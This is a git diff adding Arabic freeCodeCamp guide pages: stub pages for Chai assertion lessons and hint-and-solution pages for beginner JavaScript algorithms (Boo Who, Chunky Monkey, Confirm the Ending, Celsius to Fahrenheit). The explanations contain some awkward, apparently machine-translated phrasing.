+localeTitle: اختبار إذا كان الكائن يحتوي على خاصية
+---
+## اختبار إذا كان الكائن يحتوي على خاصية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
new file mode 100644
index 0000000000..b1c77fab9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object is an Instance of a Constructor
+localeTitle: اختبار إذا كان كائن مثيل من منشئ
+---
+## اختبار إذا كان كائن مثيل من منشئ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
new file mode 100644
index 0000000000..f4e49ae350
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if One Value is Below or At Least as Large as Another
+localeTitle: اختبار إذا كانت قيمة واحدة أقل من أو على الأقل كبيرة مثل أخرى
+---
+## اختبار إذا كانت قيمة واحدة أقل من أو على الأقل كبيرة مثل أخرى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
new file mode 100644
index 0000000000..8028bfc35b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Assert.isOK and Assert.isNotOK
+localeTitle: استخدم Assert.isOK و Assert.isNotOK
+---
+## استخدم Assert.isOK و Assert.isNotOK
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
new file mode 100644
index 0000000000..e5a7783eb7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Regular Expressions to Test a String
+localeTitle: استخدم التعبيرات العادية لاختبار سلسلة
+---
+## استخدم التعبيرات العادية لاختبار سلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
new file mode 100644
index 0000000000..b0e1960f93
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Double Equals to Assert Equality
+localeTitle: استخدم Double Equals to Assert Equality
+---
+## استخدم Double Equals to Assert Equality
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
new file mode 100644
index 0000000000..faf1cb5147
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Triple Equals to Assert Strict Equality
+localeTitle: استخدم Triple Equals to Assert Strict Equality
+---
+## استخدم Triple Equals to Assert Strict Equality
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
new file mode 100644
index 0000000000..49194b8b63
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
@@ -0,0 +1,69 @@
+---
+title: Boo Who
+localeTitle: بو من
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+هذا البرنامج بسيط للغاية ، فالخدعة هي فهم ما هي البدائية المنطقية. البرامج تتطلب إجابة صحيحة أو خاطئة.
+
+#### روابط ذات صلة
+
+*   [منطقية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   ستحتاج إلى التحقق من نوع المعلمة لمعرفة ما إذا كانت قيمة منطقية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   للتحقق من نوع المعلمة ، يمكنك استخدام `typeof` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   نظرًا لأنه يجب عليك إظهار true أو false ، يمكنك استخدامه إذا كانت عبارات أو فقط تقوم بإرجاع القيمة المنطقية المستخدمة في العبارة if.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function booWho(bool) { 
+      return typeof bool === 'boolean'; 
+    } 
+ 
+    // test here 
+    booWho(null); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnK/0)
+
+# شرح الشفرة:
+
+يستخدم المشغل `typeof` للتحقق مما إذا كان المتغير منطقيًا. إذا كان الأمر كذلك ، فسوف يعود `true` . خلاف ذلك ، إذا كان من أي نوع آخر فإنه سيعود `false` .
+
+#### روابط ذات صلة
+
+*   باستخدام typeof
+*   [نوع من](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
new file mode 100644
index 0000000000..91d164e32f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
@@ -0,0 +1,214 @@
+---
+title: Chunky Monkey
+localeTitle: قرد مكتنز
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aadd6bead83ab7d79a795c326f005a89e6ad81f5.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+هدفنا لهذه الخوارزمية هو تقسيم `arr` (الوسيطة الأولى) إلى أجزاء أصغر من المصفوفات بالطول الموفر حسب `size` (الوسيطة الثانية). هناك 4 فحوصات خضراء (أهداف) يجب تمرير كودنا لإكمال هذه الخوارزمية:
+
+1.  `(['a', 'b', 'c', 'd'], 2)` المتوقع أن تكون `[['a', 'b'], ['c', 'd']]` `(['a', 'b', 'c', 'd'], 2)` `[['a', 'b'], ['c', 'd']]`
+2.  `([0, 1, 2, 3, 4, 5], 3)` من المتوقع أن يكون `[[0, 1, 2], [3, 4, 5]]`
+3.  `([0, 1, 2, 3, 4, 5], 2)` من المتوقع أن يكون `[[0, 1], [2, 3], [4, 5]]`
+4.  `([0, 1, 2, 3, 4, 5], 4)` المتوقع أن تكون `[[0, 1, 2, 3], [4, 5]]` `([0, 1, 2, 3, 4, 5], 4)` `[[0, 1, 2, 3], [4, 5]]`
+
+#### روابط ذات صلة
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تشير الروابط أعلاه إلى استخدام `Array.push()` ، لذلك دعنا نبدأ أولاً بإنشاء صفيف جديد لتخزين المصفوفات الأصغر سنكون قريبًا مثل هذا:
+
+ `    var newArray = []; 
+` 
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+المقبل سنقوم في حاجة الى `for loop` إلى حلقة من خلال `arr` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+وأخيرًا ، نحتاج إلى طريقة للقيام `Array.slice()` الفعلي ويمكننا استخدام `Array.slice()` للقيام بذلك. المفتاح إلى هذه الخوارزمية هو فهم كيفية عمل `for loop` `size` و `Array.slice()` و `Array.push()` معاً.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function chunkArrayInGroups(arr, size) { 
+ 
+      var temp = []; 
+      var result = []; 
+ 
+      for (var a = 0; a < arr.length; a++) { 
+        if (a % size !== size - 1) 
+          temp.push(arr[a]); 
+        else { 
+          temp.push(arr[a]); 
+          result.push(temp); 
+          temp = []; 
+        } 
+      } 
+ 
+      if (temp.length !== 0) 
+        result.push(temp); 
+      return result; 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/24)
+
+### شرح الشفرة:
+
+*   أولاً ، نخلق صفيفين فارغين يُسمى `temp` `result` ، وسنعود في النهاية.
+*   حلقات **لدينا حلقة** حتى `a` يساوي أو أكثر من طول المصفوفة في الاختبار.
+*   داخل الحلقة ، `temp.push(arr[a]);` على `temp` `temp.push(arr[a]);` إذا كان الجزء المتبقي من `a / size` لا يساوي `size - 1` .
+*   خلاف ذلك ، نحن ندفع إلى `temp` ، ودفع `temp` إلى متغير `result` وإعادة تعيين `temp` إلى صفيف فارغ.
+*   بعد ذلك ، إذا لم يكن `temp` صفيفًا فارغًا ، فإننا نضغط على `result` .
+*   وأخيرًا ، نعيد قيمة `result` .
+
+#### روابط ذات صلة
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [للحلقات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var arr2 = []; 
+      for (var i = 0; i < arr.length; i+=size) { 
+        arr2.push(arr.slice(i , i+size)); 
+      } 
+      return arr2; 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/Cj9x/3)
+
+### شرح الشفرة:
+
+*   أولاً ، نخلق مصفوفة `arr2` فارغة حيث سنقوم بتخزين "قطع" لدينا.
+*   تبدأ الحلقة في الصفر ، الزيادات حسب `size` كل مرة من خلال الحلقة ، وتتوقف عندما تصل إلى `arr.length` .
+*   لاحظ أن هذا الحل لا حلقة عبر `arr` . بدلاً من ذلك ، نحن نستخدم الحلقة لإنشاء أرقام يمكننا استخدامها كمؤشرات لتقسيم المصفوفة في المواقع الصحيحة.
+*   داخل الحلقة ، نقوم بإنشاء كل `arr.slice(i, i+size)` باستخدام `arr.slice(i, i+size)` ، وإضافة هذه القيمة إلى `arr2` مع `arr2.push()` .
+*   وأخيرًا ، نعيد قيمة `arr2` .
+
+#### روابط ذات صلة
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [للحلقات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var newArr = []; 
+      var i = 0; 
+ 
+      while (i < arr.length) { 
+        newArr.push(arr.slice(i, i+size)); 
+        i += size; 
+      } 
+      return newArr; 
+    } 
+    chunkArrayInGroups(["a", "b", "c", "d"], 2); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/26)
+
+### شرح الشفرة:
+
+*   أولاً ، نخلق متغيرين. `newArr` هو مصفوفة فارغة `newArr` عليها. لدينا أيضًا مجموعة `i` المتغيرة إلى الصفر ، لاستخدامها في حلقة لدينا.
+    
+*   لدينا حلقة حلقات في حين `i` تساوي أو أكثر من طول الصفيف في الاختبار.
+    
+*   داخل الحلقة ، `newArr` صفيف `arr.slice(i, i+size)` باستخدام `arr.slice(i, i+size)` . لأول مرة يتدفق ، سيبدو مثل:
+    
+    newArr.push (arr.slice (1، 1 + 2))
+    
+*   بعد أن `newArr` على `newArr` ، نضيف متغير `size` إلى `i` .
+    
+*   وأخيرًا ، نعيد قيمة `newArr` .
+    
+
+#### روابط ذات صلة
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [في حين الحلقات](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود 2:
+
+ `    function chunkArrayInGroups(arr, size) { 
+      var newArr = []; 
+      while (arr.length) { 
+        newArr.push(arr.splice(0,size)); 
+      } 
+      return newArr; 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/579)
+
+### شرح الشفرة:
+
+*   أولا ، نخلق متغير. `newArr` هو مصفوفة فارغة `newArr` عليها.
+*   لدينا `while` حلقات حلقة حتى طول المصفوفة في اختبار لدينا ليست 0.
+*   داخل الحلقة ، `newArr` صفيف `arr.splice(0, size)` باستخدام `arr.splice(0, size)` .
+*   لكل تكرار من حلقة `while` ، يحذف `size` عدد العناصر من مقدمة `arr` و يدفعها `newArr` إلى `newArr` .
+*   وأخيرًا ، نعيد قيمة `newArr` .
+
+#### روابط ذات صلة
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+*   [في حين الحلقات](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود 3:
+
+ `    function chunkArrayInGroups(arr, size) { 
+      if (arr.length <= size){ 
+        return [arr]; 
+      } 
+      else { 
+        return [arr.slice(0,size)].concat(chunkArrayInGroups(arr.slice(size),size)); 
+      } 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/579)
+
+### شرح الشفرة:
+
+*   يتم إرجاع الصفيف الأصغر من الحجم المتداخل.
+*   لأية صف أكبر من الحجم ، يتم تقسيمه إلى قسمين. الجزء الأول متداخل ومتصل مع الجزء الثاني الذي يجعل استدعاء متكرر.
+
+#### روابط ذات صلة
+
+*   [العودية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+*   [Array.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
new file mode 100644
index 0000000000..9bc73c619a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/confirm-the-ending/index.md
@@ -0,0 +1,35 @@
+---
+title: Confirm the Ending
+localeTitle: تأكيد الانتهاء
+---
+## تأكيد الانتهاء
+
+# 🌻 حل الشفرة الوسيطة:
+
+(النهج التعريفي)
+
+ `function confirmEnding(str, target) { 
+  // "Never give up and good luck will find you." 
+  // -- Falcor 
+ 
+  return str.slice(str.length - target.length) === target; 
+ } 
+ 
+ confirmEnding("He has to give me a new name", "name"); 
+` 
+
+#### 🚀 [تشغيل الكود](https://repl.it/repls/SardonicRoundAfkgaming)
+
+# شرح الشفرة:
+
+*   أولا نستخدم طريقة `slice` نسخ السلسلة.
+*   من أجل الحصول على الأحرف الأخيرة في `str` مساوية لطول `target` ، نستخدم طريقة `slice` .
+*   المعلمة الأولى داخل أسلوب `slice` هي فهرس البدء والمعلمة الثانية هي فهرس النهاية.
+*   على سبيل المثال `str.slice(10, 17)` `give me` .
+*   في هذه الحالة ، نقوم فقط بتضمين معلمة واحدة والتي ستقوم بنسخ كل شيء منها من فهرس البدء.
+*   سنقوم بربط طول `str` وطول `target` ، وبهذه الطريقة ، سنحصل على الأحرف المتبقية المتبقية مساوية لطول `target` .
+*   وأخيرًا ، نقارن نتيجة إرجاع شريحة `target` وتحقق مما إذا كان لديهم نفس الأحرف.
+
+### روابط ذات صلة
+
+*   [String.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..d7f9488f6a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/convert-celsius-to-fahrenheit/index.md
@@ -0,0 +1,66 @@
+---
+title: Convert Celsius to Fahrenheit
+localeTitle: تحويل مئوية إلى فهرنهايت
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+الخوارزمية للتحويل من درجة مئوية إلى فهرنهايت هي درجة الحرارة في المرات المئوي `9/5` ، زائد `32` .
+
+يتم منحك درجة **مئوية** متغيرة تمثل درجة الحرارة بالدرجة المئوية. استخدم المتغير **fahrenheit الذي** تم تعريفه بالفعل وقم بتطبيق الخوارزمية لتعيينه درجة الحرارة المقابلة في فهرنهايت.
+
+#### روابط ذات صلة
+
+*   [ترتيب العمليات: PEMDAS](http://www.purplemath.com/modules/orderops.htm)
+*   [ترتيب العملية: الفيديو](https://www.khanacademy.org/math/pre-algebra/order-of-operations/order_of_operations/v/order-of-operations)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+ألقِ نظرة على الشفرة. هناك منطقة ليس من المفترض أن تقوم بتحريرها. من هناك ، اسأل نفسك - ما الذي استخدم هناك لم أره من قبل؟
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+ضع في اعتبارك **ترتيب العملية** تحقق من الارتباط في قسم _الروابط_ لمزيد من المعلومات.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function convertToF(celsius) { 
+      // Only change code below this line 
+      var fahrenheit = (celsius * (9/5)) + 32; 
+ 
+      // Only change code above this line 
+      if ( typeof fahrenheit !== 'undefined' ) { 
+      return fahrenheit; 
+      } else { 
+        return 'fahrenheit not defined'; 
+      } 
+    } 
+ 
+    // Change the inputs below to test your code 
+    convertToF(30); 
+` 
+
+### شرح الشفرة:
+
+*   أعلن متغير **فهرنهايت** .
+*   تأكد من اتباع الترتيب الصحيح للعمليات الحسابية باستخدام الأقواس ( `()` ) عند الحاجة.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
